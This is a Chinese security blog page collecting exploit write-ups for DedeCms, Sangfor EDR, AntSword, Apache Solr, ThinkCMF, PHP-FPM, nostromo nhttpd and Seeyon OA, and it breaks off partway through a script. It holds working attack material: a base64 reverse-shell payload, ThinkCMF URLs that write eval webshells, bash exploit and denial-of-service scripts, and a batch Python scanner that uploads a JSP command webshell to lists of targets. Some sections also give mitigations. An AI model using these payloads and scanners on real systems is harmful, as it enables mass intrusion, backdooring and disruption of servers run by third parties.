DedeCms V5.8.1 RCE 漏洞 技术文章

昨天在一个老外的博客看到了他的一篇文章,讲的就是DedeCms 的预览版本 V5.8.1 存在 RCE 漏洞(远程代码执行漏洞);我刚刚复现了下,确实是存在的。

dedecms v5.8.1 RCE

POC:


GET /plus/flink.php?dopost=save&c=pwd HTTP/1.1
Host: dedecms.test
Pragma: no-cache
Cache-Control: n...
标签: 漏洞 php rce

admin 发布于  2021-10-1 23:10 

HW弹药库之深信服EDR 3.2.21 任意代码执行漏洞分析 技术文章

漏洞原理:

dev_linkage_launch.php 为设备联动的新入口点主要是将联动的接口构造成业务统一处理的接口
...


admin 发布于  2020-9-11 07:42 

HW弹药库之你的蚁剑shell还是你的shell吗? 技术文章

HW弹药库之你的蚁剑 shell 还是你的 shell 吗?可能从你的小宝贝变成了小叛徒哦!

——蚁剑 v2.1.8.1 查看站点 cookie html解析未过滤漏洞可反向 RCE

shell_test.png

0X0:背景

说来我等菜鸡是不会也没想过去审计这些工具源码,哪怕是开源的,都是拿来主义,大部分看官也是吧。

但是我这个人对于情报搜集特别感兴趣!时常监控一些开源项目或者官网的commit或者更新公告,这不前段时间就看到了芋头师傅(leohearts)提交了一个issue 包含了我的监控关键字 RCE

rce_issues.png

我当时就看了,当时复现了下,但是没有记录,等着 Medicean 师傅修好了我再发,前天,终于修了!距离提交的时间是十一天过后,可能师傅工作比较忙吧!

0X1:复现环节

打开我们的主角-antSword ,在关于程序里面可以看到版本为 v2.1.8.1,下面开始测试,首先在本地PHP环境目录写一个html文件,内容为:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <h3>蚁剑 查看站点 cookie 未过滤致 RCE 测试</h3>
    <script>document.cookie="a=<img src=x onerror='require(\"child_process\").exec(\"echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNjY2IDA+JjEK | base64 -d | bash\")'/>"</script>
</body>
</html>

然后在 antSword 里面添加我们的本地测试URL,密码 连接类型这些随便写,地址写对了就行

add_shell.png

添加好了之后,在本地使用 NC 监听 nc -lv 666 因为上面的 base64 编码后的就是反弹 shell 到我们的666端口,不多说,不懂得 Google

然后我们再用 antSword 右键的 查看站点(英文的为 View Site)即可触发获得一个 shell

view_site.png

看一下 Medicean 师傅的 commit 极了可以看到修复的方式是在 cookie 取值的部分添加了 noxss 方法来进行了 XSS 过滤

fix_256.png

0X2:漏洞利用

复现完毕后我就在思考,能不能借此做点小动作?答案是可以的!

想一下,本身是 html格式的URL地址,除了故意这么去复现的查看站点,很少有人拿到shell后去这么干!除非 shell 需要设置 cookie,从 cookie 里取值,这个时候就很容易想到蚁剑的 AES shell 需要设置 cookie ,那就有利用的可能了!

有两种情况,第一种是本身就是 PHP 的 shell ,如果 黑客的 webshell 是使用的 蚁剑的 AES webshell ,基本代码如下:

<?php
@session_start();
$pwd='ant';
$key=@substr(str_pad(session_id(),16,'a'),0,16);
@eval(openssl_decrypt(base64_decode($_POST[$pwd]), 'AES-128-ECB', $key, OPENSSL_RAW_DATA|OPENSSL_ZERO_PADDING));
?>

假如黑客 webshell 如上 名为 shell.php ,我们可以把他的 shell 改为如下内容:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <h3>蚁剑 查看站点 cookie 未过滤致 RCE 测试</h3>
    <?php
    @session_start();
    $pwd='ant';
    $key=@substr(str_pad(session_id(),16,'a'),0,16);
    @eval(openssl_decrypt(base64_decode($_POST[$pwd]), 'AES-128-ECB', $key, OPENSSL_RAW_DATA|OPENSSL_ZERO_PADDING));
    ?>
    <script>document.cookie="a=<img src=x onerror='require(\"child_process\").exec(\"echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNjY2IDA+JjEK | base64 -d | bash\")'/>"</script>
</body>
</html>

直接把他的 shell 改为 html 和 PHP 代码混写!

aes_shell_rce.png

因为 PHP 本身就可以这么写,而且可以同时执行 PHP 代码和 html 代码。

当然,真实情况下我们要做的隐蔽点 把 没必要的 标题和 H3 这些丢弃。改写后的 shell 如何让黑客再次使用 查看站点 功能来获取 cookie 这是个问题,需要让他原本保存的 cookie 失效,比如重启 PHP 清除缓存 等方法尝试,假设你达成了如上条件,成功清除了 黑客 shell cookie ,那么接下来就是他 连接 shell 发现连接不上,打开 shell 地址发现还在,可能会使用 查看站点的功能来 获取cookie ,就可以顺利的 获得一个反向shell。

shell_rce.png

测试是在 Mac 环境下测试,可以根据情况修改需要执行的操作,比如直接执行 CS 后门或者 PS下载执行 等等。

0X3:总结

这个漏洞很鸡肋!

其一:需要使用 查看站点功能;

其二:需要让之前的shell cookie 失效;

其三:配合特定的环境,比如解析漏洞或者.htaccess

但是也是一种思路,说不定你就可以借此反日 大黑阔!哈哈哈。各位朋友,使用工具须谨慎!说不定还要未公开的 XXday 等着你上钩呢!最起码 把工作和生活用电脑环境区分开,使用个虚拟机,虚拟机一定要开启自动升级,保持最新版,虚拟机里最好再套两层代理,保护自己,保护大家!

参考连接:

https://github.com/AntSwordProject/antSword/issues/256

https://github.com/AntSwordProject/antSword/commit/0d5b8b7c4f5f9520b0cacb7306beb190efa19881


admin 发布于  2020-9-7 00:48 

HW礼盒:深信服edr RCE,天融信dlp unauth和通达OA v11.6版本RCE 渗透测试

HW礼盒,请查收:
深信服edr RCE
https://ip+端口/tool/log/c.php?strip_slashes=system&host=id 即可执行命令,
深信服EDR RCE (1).png
除上面之外,还有任意文件读取,验证码绕过,还有就是rce
任意用户登录:
注:2020年08月18日,fofa是通杀,版本小于 3.2.19
fofa指纹: title="SANGFOR终端检测响应平台"
payload:target+/ui/login.php?user=admin 即可直接登录:
SANGFOR (1).png
漏洞剖析:
在源码的:/web/ui/login.php 文件里面
登录判断的代码有一处让人感觉坑爹的地方:
SANGFOR-login (1).png


天融信dlp-未授权+越权

漏洞影响:已知版本号v3.1130.308p3_DLP.1

风险等级:高

漏洞细节:管理员登陆系统之后修改密码,未采用原由码校验,且存在未授权访问导致存在了越权修改管理员密码.

默认用户superman的uid=1

POST /?module-auth_user&action=mod_edit.pwd HTTP/1.1

修复==》找官网

奇安信天擎EDR管理服务器远程命令执行RCE漏洞:
漏洞描述:
影响范围:使用奇安信天擎EDR产品的主机
暂时不详
说明:
该漏洞通过深信服SSLVPN进入内网后,利用这类漏洞控制所有装有edr的机器。

深信服 vpn rce 漏洞详情暂时未知

致远OA-A8-V5最新版未授权getshell--七月火师傅暂未公开

通达OA11.6 preauth RCE
https://github.com/Mr-xn/Penetration_Testing_POC/blob/master/tools/%E9%80%9A%E8%BE%BEOA_v11.6_RCE_EXP.py 


admin 发布于  2020-8-20 13:22 

CVE-2019-12409/Apache Solr由于错误配置JMX RMI导致远程代码执行漏洞 业界新闻

0x1 背景

Solr是apache的顶级开源项目,它是使用java开发 ,基于lucene的全文检索服务器。

Solr仅新版本 8.1.1, 8.2.0受到该漏洞影响,Solr用户不应该把自身的 Solr 集群暴露于公网之中。

在Linux 下的环境下的Apache Solr 8.1.1和8.2.0版本中默认启用不安全配置(ENABLE_REMOTE_JMX_OPTS="true"),如果开启JMX监听服务,可能导致远程代码执行的风险,建议使用Apache Solr的用户尽快更新到无漏洞版本或

由于 Solr 新版默认启动时开启JMX服务,如果你的服务器是在公网上,请立即做好环境网络配置自查工作,或关闭JMX相关功能。

0x2 漏洞详情

Java ManagementExtensions(JMX)是一种Java技术,为管理和监视应用程序、系统对象、设备(如打印机)和面向服务的网络提供相应的工具。

JMX 作为 Java的一种Bean管理机制,如果JMX服务端口暴露,那么远程攻击者可以让该服务器远程加载恶意的Bean文件,随着Bean的滥用导致远程代码执行。

CVE-2019-12409漏洞:在Linux 下的环境下的Apache Solr 8.1.1和8.2.0版本存在默认不安全配置(ENABLE_REMOTE_JMX_OPTS="true"),通过该配置开启RMI服务(默认监听在TCP 18983端口)后,攻击者可利用网上公开的JMX漏洞利用工具进行远程代码执行(RCE)攻击,从而获取服务器权限。



    1.启动一个可以被用于远程类加载的 MLet web服务



    2.使用JMX服务使目标服务器远程加载恶意类



    3.调用恶意 Bean 实现代码执行



0x3 漏洞证明

CVE-2019-12409 shell.jpg

0x4 修复&缓解措施

临时缓解措施:

本次官方更新主要更新配置选项ENABLE_REMOTE_JMX_OPTS为false,因此在不影响业务系统正常运行的情况下,可以直接修改Apache Solr的bin目录里的solr.in.sh配置文件中的ENABLE_REMOTE_JMX_OPTS字段值为false,修改完配置需要重启服务才能生效。



附漏洞POC利用地址:

https://github.com/jas502n/CVE-2019-12409

参考地址:

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12409
https://nosec.org/home/detail/2544.html
https://www.n0tr00t.com/2015/04/17/JMX-RMI-Exploit-Demo.html
https://github.com/mogwailabs/mjet

标签: 漏洞 Java rce

admin 发布于  2019-11-19 22:03 

ThinkCMF5.x以下漏洞合集 渗透测试

需要普通用户权限,默认可注册
paylaod:

POST /ThinkCMFX/index.php?g=portal&m=article&a=edit_post HTTP/1.1
Host: localhost
Connection: close
Cookie: PHPSESSID=kcg5v82ms3v13o8pgrhh9saj95
Content-Type: application/x-www-form-urlencoded
Content-Length: 79

post[id][0]=bind&post[id][1]=0 and updatexml(1, concat(0x7e,user(),0x7e),1)--+- 

还有以下可以测试:

post:
term:123
post[post_title]:123
post[post_title]:aaa
post_title:123
post[id][0]:bind 
  • 前台模版注入漏洞-可getshell四处
# 仅在Windows环境测试
# 第一处  
http://website/ThinkCMFX/index.php?g=Comment&m=Widget&a=fetch&templateFile=/../public/index&content=<%3fphp+file_put_contents('m.php','<%3fphp+eval($_POST[_])%3b');?>&prefix=
# 第二处  
http://website/ThinkCMFX/index.php?g=Api&m=Plugin&a=fetch&templateFile=/../../../public/index&content=<%3fphp+file_put_contents('m.php','<%3fphp+eval($_POST[_])%3b');?>&prefix=

# 第三处  
/index.php?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('test.php','<?php phpinfo(); ?>')</php>

# 第四处
/index.php?a=fetch&content=<?php+file_put_contents("mrxn.php", base64_decode("PD9waHAgZXZhbCgkX1BPU1RbIjAwMCJdKTs/Pg==")); 
  • 任意文件删除-只能windows删除

在用户上传头像处存在任意文件删除漏洞,发送如下数据包后,会删除网站根目录下一个名为 test.txt 的文件。(该漏洞仅能在 Windows 下触发)

POST /ThinkCMFX/index.php?g=User&m=Profile&a=do_avatar& HTTP/1.1
Host: localhost
Cookie: PHPSESSID=bggit7phrb1dl99pcb2lagbmq0;
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 27

imgurl=..\..\..\test.txt 
  • 任意文件上传

在 ThinkCMFX2.2.3 最终版中,存在一处任意文件上传(需要普通用户权限,默认可注册)
curl -F "file=@/tmp/shell.php" -X "POST" -b 'PHPSESSID=qekmttucmue6vv41kpdjghnkd0;' 'http://127.0.0.1/ThinkCMFX/index.php?g=Asset&m=Ueditor&a=upload&action=uploadfile'

  • 任意文件包含(读取数据库配置等等)
    /index.php?a=display&templateFile=README.md

使用说明

thinkcmf 并没有死,并且有3版本与5版本这里提供一些方法,帮助你们辨别哪一些是可以日的,那一些事不行的。 1.看logo 3的logo是黄色的. 2.在网站url 后面输入 admin,如果页面是蓝色的表示是3的,可日穿之. 3.查看 README.md 在网站url后面输入README.md. 另外还有一个说明,你在实际操作的过程中,可能会遇到他一直报这个模板不存在错:

url:http://thinkcmf.test/index.php?g=Comment&m=Widget&a=fetch
post:
templateFile=/../public/index
prefix=''
content=<php>file_put_contents('test.php','<?php eval($_REQUEST[11]);')</php> 

请放心这并不是说明漏洞不可使用,而是说,这个模版不存在,你可以换一个html即可

例如:
/../public/index
/../public/exception
/../data/index
/../data/runtime/index
/../plugins/Mobileverify/View/admin_index
/../plugins/Mobileverify/View/index
/../plugins/Mobileverify/View/widget
/../plugins/Demo/View/admin_index
/../plugins/Demo/View/index
/../plugins/Demo/View/widget
/../application/Install/View/Public/footer
/../application/Install/View/Public/head
/../application/Install/View/Public/header
/../application/Common/index
/../application/Portal/Lang/en-us/index
/../application/Api/Lang/en-us/index
/../application/Api/Lang/zh-cn/index
/../application/Comment/Lang/en-us/index
/../application/Comment/Lang/zh-cn/index 
url:http://thinkcmf.test/index.php?g=Api&m=Plugin&a=fetch
post:
templateFile=/../../../public/index
prefix=''
content=<php>file_put_contents('test1.php','<?php eval($_REQUEST[11]);')</php> 
/../../../public/index
/../../../public/exception
/../../../data/index
/../../../data/runtime/index
/../../../plugins/Mobileverify/View/admin_index
/../../../plugins/Mobileverify/View/index
/../../../plugins/Mobileverify/View/widget
/../../../plugins/Demo/View/admin_index
/../../../plugins/Demo/View/index
/../../../plugins/Demo/View/widget
/../../../application/Install/View/Public/footer
/../../../application/Install/View/Public/head
/../../../application/Install/View/Public/header
/../../../application/Common/index
/../../../application/Portal/Lang/en-us/index
/../../../application/Api/Lang/en-us/index
/../../../application/Api/Lang/zh-cn/index
/../../../application/Comment/Lang/en-us/index
/../../../application/Comment/Lang/zh-cn/index 

还有最后一句废话:模版注入对于linux 并不好用 : )

更多漏洞POC-持续收集中-https://github.com/Mr-xn/Penetration_Testing_POC
参考:
https://xz.aliyun.com/t/3409 
https://xz.aliyun.com/t/3529
 https://mochazz.github.io/2019/07/25/ThinkCMFX漏洞分析合集


admin 发布于  2019-10-28 21:21 

ThinkCMF2.2.2前台直接getshell+任意文件包含漏洞 渗透测试

0x00 简介

    ThinkCMF是一款基于ThinkPHP+MySQL开发的开源中文内容管理框架。ThinkCMF提出灵活的应用机制,框架自身提供基础的管理功能,而开发者可以根据自身的需求以应用的形式进行扩展。每个应用都能独立的完成自己的任务,也可通过系统调用其他应用进行协同工作。在这种运行机制下,开发商场应用的用户无需关心开发SNS应用时如何工作的,但他们之间又可通过系统本身进行协调,大大的降低了开发成本和沟通成本。

0x01 漏洞概述

    远程攻击者在无需任何权限情况下,可利用此漏洞构造恶意的url,向服务器写入任意内容的文件,达到远程代码执行的目的。

0x02 影响版本 

ThinkCMF X1.6.0

ThinkCMF X2.1.0

ThinkCMF X2.2.0

ThinkCMF X2.2.1

ThinkCMF X2.2.2

ThinkCMF X2.2.3

0x03 漏洞利用&测试环境



测试环境:

测试版本:thinkcmf 2.2.2

phpstudy pro

windows 10



一共有两种方式:

第一种是通过构造a参数的fetch方法,可以不需要知道文件路径就可以把php代码写入文件,phpinfo版payload如下:

/index.php?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('test.php','<?php phpinfo(); ?>')</php>

第一种漏洞复现截图如下:

thinkcmf之getshell.png

第二种是通过构造a参数的display方法,实现任意内容包含漏洞,payload如下: 

/index.php?a=display&templateFile=README.md

第二种漏洞复现截图如下:

thinkcmf任意文件包含二.png



0x04 漏洞分析

    根据index.php的第25行可知道项目相对路径为application目录:

//开启调试模式
define("APP_DEBUG", true);
//网站当前路径
define('SITE_PATH', dirname(__FILE__)."/");
//项目路径,不可更改
define('APP_PATH', SITE_PATH . 'application/');
//项目相对路径,不可更改
define('SPAPP_PATH',   SITE_PATH.'simplewind/');



    然后找到 application\Portal\Controller 路径下的 IndexController.class.php 控制器类:

可以看到只有一个公共的display方法:

namespace Portal\Controller;
use Common\Controller\HomebaseController; 
/**
 * 首页
 */
class IndexController extends HomebaseController {

    //首页 小夏是老猫除外最帅的男人了
    public function index() {
        $this->display(":index");
    }

}



    其父类是  Common\Controller\HomebaseController ,根据ThinkPHP框架规则,可以通过 g\m\a 参数指定分组(group)\模块(model)\动作或方法(action),我们打开 application\Common\Controller 路径下的 HomebaseController.class.php 可以看到通过a参数直接调的这几个权限为 public 的方法:

thinkcmf几个权限为public的函数.png

    这边有问题的是display函数和fetch函数:

    display函数的作用是加载模板和页面输出,所对应的参数为:

$templateFile 指定要调用的模板文件,$charset 模板输出字符集,$contentType 输出类型,$content 模板输出内容。

templateFile参数会经过parseTemplate函数处理,判断模板是否存在,当模板不存在时会在当前目录下开始查找:

public function parseTemplate($template='') {...}



    然后调用THinkphp Controller 函数的display方法,其中fetch函数的作用是获取页面内容,调用内置模板引擎fetch方法,thinkphp的模版引擎使用的是smarty,在smarty中当key和value可控时便可以形成模板注入。

 /**
     * 获取输出页面内容
     * 调用内置的模板引擎fetch方法,
     * @access protected
     * @param string $templateFile 指定要调用的模板文件
     * 默认为空 由系统自动定位模板文件
     * @param string $content 模板输出内容
     * @param string $prefix 模板缓存前缀* * @return string
     */
    public function fetch($templateFile='',$content='',$prefix=''){
        $templateFile = empty($content)?$this->parseTemplate($templateFile):'';
        return parent::fetch($templateFile,$content,$prefix);
    }



    这里fetch函数的三个参数分别对应模板文件,输出内容,模板缓存前缀。利用时templateFile和prefix参数可以为空,在content参数传入待注入的php代码即可getshell。最终形成的payload:

/index.php?a=fetch&content=<?php+file_put_contents("mrxn.php", base64_decode("PD9waHAgZXZhbCgkX1BPU1RbIjAwMCJdKTs/Pg=="));

thinkcmf之getshell2.png

0x05 修复方式

    将 HomebaseController.class.php 和 AdminbaseController.class.php 类中 display 和 fetch 函数的修饰符改为 protected。

修改修饰为protected即可防御.png

还有另一种getshell的方法:

thinkcmf前台getshell.png

参考:


https://www.freebuf.com/vuls/217586.html

https://xz.aliyun.com/t/3529


admin 发布于  2019-10-25 05:29 

CVE-2019-11043-PHP远程代码执行漏 业界新闻

0x00背景介绍 

来自Wallarm的安全研究员Andrew Danau在9月14号至16号举办的Real World CTF中,向服务器发送%0a(换行符)时,服务器返回异常信息,疑似存在

0x01漏洞描述 

Nginx使用特定的fastcgi配置时,存在执行漏洞,但这个配置并非Nginx默认配置。

当fastcgi_split_path_info字段被配置为 ^(.+?.php)(/.*)$;时,攻击者可以通过精心构造的payload,造成远程代码执行漏洞,该配置已被广泛使用,危害较大

0x02漏洞编号 

CVE-2019-11043

0x03受影响版本 

当Nginx + php-fpm 的服务器有如下配置的时候,都会出现RCE漏洞


location ~ [^/]\.php(/|$) {
  ...
  fastcgi_split_path_info ^(.+?\.php)(/.*)$;
  fastcgi_param PATH_INFO       $fastcgi_path_info;
  fastcgi_pass   php:9000;
  ...
}

0x4漏洞复现环境 

执行如下命令启动有漏洞的Nginx和PHP

docker-compose up -d

环境启动后,访问http://your-ip:8080/index.php即可查看到一个默认页面。

0x5漏洞复现 

使用https://github.com/neex/phuip-fpizdam中给出的工具,发送数据包:

$ go run . "http://your-ip:8080/index.php"
2019/10/23 19:41:00 Base status code is 200
2019/10/23 19:41:00 Status code 502 for qsl=1795, adding as a candidate
2019/10/23 19:41:00 The target is probably vulnerable. Possible QSLs: [1785 1790 1795]
2019/10/23 19:41:02 Attack params found: --qsl 1790 --pisos 152 --skip-detect
2019/10/23 19:41:02 Trying to set "session.auto_start=0"...
2019/10/23 19:41:02 Detect() returned attack params: --qsl 1790 --pisos 152 --skip-detect <-- REMEMBER THIS
2019/10/23 19:41:02 Performing attack using php.ini settings...
2019/10/23 19:41:02 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs
2019/10/23 19:41:02 Trying to cleanup /tmp/a...
2019/10/23 19:41:02 Done!

攻击端执行.png

可见,这里已经执行成功。

我们访问http://your-ip:8080/index.php?a=id,即可查看到命令已成功执行:

浏览器C端命令执行.png

注意,因为php-fpm会启动多个子进程,在访问/index.php?a=id时需要多访问几次,以访问到被污染的进程。

0x6漏洞刨析 

因为“fpm_main.c”文件的第1150行代码中由于\n(%0a)的传入导致nginx传递给php-fpm的PATH_INFO为空。

https://github.com/php/php-src/blob/master/sapi/fpm/fpm/fpm_main.c#L1150

进而导致可以通过FCGI_PUTENV与PHP_VALUE相结合,修改当前的php-fpm进程中的php配置。在特殊构造的配置生效的情况下可以触发任意代码执行。


0x07修复建议 

  1. 修改nginx配置文件中fastcgi_split_path_info的正则表达式,不允许.php之后传入不可显字符
  2. 暂停使用 nginx+php-fpm 服务
  3. 根据自己实际生产环境的业务需求,将以下配置删除

fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO       $fastcgi_path_info;

参考:

https://twitter.com/ahack_ru/status/1186667192139636740

https://github.com/neex/phuip-fpizdam

https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043


admin 发布于  2019-10-23 20:41 

CVE-2019-16278&CVE-2019-16279-nostromo nhttpd 路径遍历漏洞和Dos漏洞 业界新闻

0x1.nostromo nhttpd简介

nostromo nhttpd是一款简单,快速的开源Web服务器,其作者是来自瑞士tiefen Boden 7的马库斯·格洛克(Marcus Glocker)。

0x2.漏洞来源 

10月14日来自hackthebox名人堂第290名精英黑客sp0re公布了 nostromo nhttpd 1.9.6(目前最新版,算是0day吧)及之前版本中的‘http_verify’函数存在路径遍历漏洞CVE-2019-16278和拒绝服务攻击(Dos)CVE-2019-16279 。

0x3.漏洞详情 

CVE-2019-16278漏洞源于网络系统或产品未能正确地过滤资源或文件路径中的特殊元素,攻击者可利用该漏洞访问受限目录之外的位置,

而且这个漏洞是因为 对CVE-2011-0751漏洞的未完全修复导致攻击者可以利用类似 /../ 的路径格式绕过限制从而通过 /bin/sh 来执行任意参数,即命令执行

例如:


$ ./CVE-2019-16278.sh 127.0.0.1 8080 id
uid=1001(sp0re) gid=1001(sp0re) groups=1001(sp0re)

而CVE-2019-16279是在当攻击者在单连接中发送大量的 \r\n 就会导致 nhttpd 出现内存错误,从而导致决绝服务。

例如:

$ curl http://127.0.0.1:8080
HELLO!
$ ./CVE-2019-16279.sh 127.0.0.1 8080
$ curl http://127.0.0.1:8080
curl: (7) Failed to connect to 127.0.0.1 port 8080: Connection refused

0x4.漏洞相关脚本 

CVE-2019-16278.sh:

#!/usr/bin/env bash

HOST="$1"
PORT="$2"
shift 2

( \
    echo -n -e 'POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0\r\n'; \
    echo -n -e 'Content-Length: 1\r\n\r\necho\necho\n'; \
    echo "$@ 2>&1" \
) | nc "$HOST" "$PORT" \
  | sed --quiet --expression ':S;/^\r$/{n;bP};n;bS;:P;n;p;bP'

CVE-2019-16279.sh:

#!/usr/bin/env bash

HOST="$1"
PORT="$2"

echo -n -e '\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n' | nc "$HOST" "$PORT"



同时,我也更新了一份到我的GitHub漏洞收集仓库:https://github.com/Mr-xn/Penetration_Testing_POC ,欢迎大家一起start和贡献!

相关资料:

http://www.nazgul.ch/dev_nostromo.html

https://git.sp0re.sh/sp0re/Nhttpd-exploits


admin 发布于  2019-10-21 20:57 

seeyon_rce致远getshell 0day poc批量检测脚本——致远 OA A8 Getshell 漏洞 业界新闻

致远 OA A8 Getshell .png

本文主要是对于昨日大概晚间八点左右在网上出现的关于致远 OA A8 协同管理软件被曝存在远程代码执行漏洞0day,且目前已有漏洞被在野利用,在中、大型政府企业中都广泛使用。文末给出致远getshell 0day poc批量检测脚本(python版本)

已验证影响版本:

A8 V7.0 SP3

A8 V6.1 SP2

(V6.1 SP1 验证尚不存在,其他版本未验证)

漏洞成因:

致远 A8+ 某些版本系统,存在远程任意文件上传文件上传漏洞,并且无需登录即可触发。攻击者构造恶意文件,成功利用漏洞后可造成Getshell。同时该系统的漏洞点在于致远OA-A8系统的Servlet接口暴露,安全过滤处理措施不足,使得用户在无需认证的情况下实现任意文件上传。攻击者利用该漏洞,可在未授权的情况下,远程发送精心构造的网站后门文件,从而获取目标服务器权限,在目标服务器上执行任意代码。

影响范围:

通过知道创宇旗下ZoomEye网络空间搜索引擎搜索结果,全球共有29,425个致远OA系统开放记录,中国为29,247个大部分分布在北京、广东、四川等省。

目前利用代码已在野外公开,漏洞验证效果如下,成功getshell样例截图:

成功getshell.png  

缓解措施:

漏洞位置为:/seeyon/htmlofficeservlet,可以对该地址配置ACL规则。

或者联系官方获取补丁程序,官网地址:http://www.seeyon.com/Info/constant.html

临时修补方案如下:

1、 配置URL访问控制策略;

2、在公网部署的致远A8+服务器,通过ACL禁止外网对“/seeyon/htmlofficeservlet”路径的访问;

3、 对OA服务器上的网站后门文件进行及时查杀。

附上验证POC,致远getshell 0day poc批量检测脚本如下:

使用方法:

批量检测url

在脚本同目录下建立url.txt

放入待检测的URL运行脚本

分别为python2和python3版本:

# Wednesday, 26 June 2019
# Author:nianhua
# Blog:https://github.com/nian-hua/
# python2 版本

import re
import requests
import base64
from multiprocessing import Pool, Manager

def send_payload(url):

    headers = {'Content-Type': 'application/x-www-form-urlencoded'}

    payload = "REJTVEVQIFYzLjAgICAgIDM1NSAgICAgICAgICAgICAwICAgICAgICAgICAgICAgNjY2ICAgICAgICAgICAgIERCU1RFUD1PS01MbEtsVg0KT1BUSU9OPVMzV1lPU1dMQlNHcg0KY3VycmVudFVzZXJJZD16VUNUd2lnc3ppQ0FQTGVzdzRnc3c0b0V3VjY2DQpDUkVBVEVEQVRFPXdVZ2hQQjNzekIzWHdnNjYNClJFQ09SRElEPXFMU0d3NFNYekxlR3c0VjN3VXczelVvWHdpZDYNCm9yaWdpbmFsRmlsZUlkPXdWNjYNCm9yaWdpbmFsQ3JlYXRlRGF0ZT13VWdoUEIzc3pCM1h3ZzY2DQpGSUxFTkFNRT1xZlRkcWZUZHFmVGRWYXhKZUFKUUJSbDNkRXhReVlPZE5BbGZlYXhzZEdoaXlZbFRjQVRkTjFsaU40S1h3aVZHemZUMmRFZzYNCm5lZWRSZWFkRmlsZT15UldaZEFTNg0Kb3JpZ2luYWxDcmVhdGVEYXRlPXdMU0dQNG9FekxLQXo0PWl6PTY2DQo8JUAgcGFnZSBsYW5ndWFnZT0iamF2YSIgaW1wb3J0PSJqYXZhLnV0aWwuKixqYXZhLmlvLioiIHBhZ2VFbmNvZGluZz0iVVRGLTgiJT48JSFwdWJsaWMgc3RhdGljIFN0cmluZyBleGN1dGVDbWQoU3RyaW5nIGMpIHtTdHJpbmdCdWlsZGVyIGxpbmUgPSBuZXcgU3RyaW5nQnVpbGRlcigpO3RyeSB7UHJvY2VzcyBwcm8gPSBSdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKGMpO0J1ZmZlcmVkUmVhZGVyIGJ1ZiA9IG5ldyBCdWZmZXJlZFJlYWRlcihuZXcgSW5wdXRTdHJlYW1SZWFkZXIocHJvLmdldElucHV0U3RyZWFtKCkpKTtTdHJpbmcgdGVtcCA9IG51bGw7d2hpbGUgKCh0ZW1wID0gYnVmLnJlYWRMaW5lKCkpICE9IG51bGwpIHtsaW5lLmFwcGVuZCh0ZW1wKyJcbiIpO31idWYuY2xvc2UoKTt9IGNhdGNoIChFeGNlcHRpb24gZSkge2xpbmUuYXBwZW5kKGUuZ2V0TWVzc2FnZSgpKTt9cmV0dXJuIGxpbmUudG9TdHJpbmcoKTt9ICU+PCVpZigiYXNhc2QzMzQ0NSIuZXF1YWxzKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJwd2QiKSkmJiEiIi5lcXVhbHMocmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpKSl7b3V0LnByaW50bG4oIjxwcmU+IitleGN1dGVDbWQocmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpKSArICI8L3ByZT4iKTt9ZWxzZXtvdXQucHJpbnRsbigiOi0pIik7fSU+NmU0ZjA0NWQ0Yjg1MDZiZjQ5MmFkYTdlMzM5MGQ3Y2U="

    payload = base64.b64decode(payload)

    try:

        r = requests.post(url + '/seeyon/htmlofficeservlet', data=payload)

        r = requests.get(
            url + '/seeyon/test123456.jsp?pwd=asasd3344&cmd=cmd%20+/c+echo+wangming')

        if "wangming" in r.text:

            return url

        else:

            return 0

    except:

        return 0

def remove_control_chars(s):
    control_chars = ''.join(map(unichr, range(0,32) + range(127,160)))

    control_char_re = re.compile('[%s]' % re.escape(control_chars))

    s = control_char_re.sub('', s)

    if 'http' not in s:

        s = 'http://' + s

    return s

def savePeopleInformation(url, queue):

    newurl = send_payload(url)

    if newurl != 0:

        fw = open('loophole.txt', 'a')
        fw.write(newurl + '\n')
        fw.close()

    queue.put(url)

def main():

    pool = Pool(10)

    queue = Manager().Queue()

    fr = open('url.txt', 'r')

    lines = fr.readlines()

    for i in lines:

        url = remove_control_chars(i)

        pool.apply_async(savePeopleInformation, args=(url, queue,))

    allnum = len(lines)

    num = 0

    while True:

        print queue.get()

        num += 1

        if num >= allnum:

            fr.close()

            break

if "__main__" == __name__:

    main()


# Wednesday, 26 June 2019
# Author:nianhua
# Blog:https://github.com/nian-hua/
# python3 版本

import re
import requests
import base64
from multiprocessing import Pool, Manager

def send_payload(url):

    headers = {'Content-Type': 'application/x-www-form-urlencoded'}

